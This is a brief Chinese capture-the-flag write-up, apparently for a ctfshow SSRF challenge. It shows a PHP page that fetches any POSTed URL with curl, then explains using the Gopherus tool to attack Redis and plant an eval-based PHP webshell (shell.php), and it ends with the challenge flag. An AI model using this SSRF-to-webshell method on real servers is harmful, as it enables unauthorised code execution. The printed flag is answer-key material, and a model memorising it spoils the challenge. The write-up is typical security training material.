nginx/1.18.0PHP/7.3.22
题目提示
打redis
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
和上题差不多,也是用 Gopherus 打 redis
What do you want?? (ReverseShell/PHPShell): PHPShell
Give web root location of server (default is /var/www/html):
Give PHP Payload (We have default PHP Shell): '<?php eval($_GET[c]);?>'
URL编码一下 _
后面的内容
默认生成的 webshell 在 shell.php
中
发的包会超时,不过没事,shell.php
是会生成的。
最后 cat /flaaag
即可
flag
ctfshow{7e671e49-e75c-40eb-a2f1-767381fa7297}`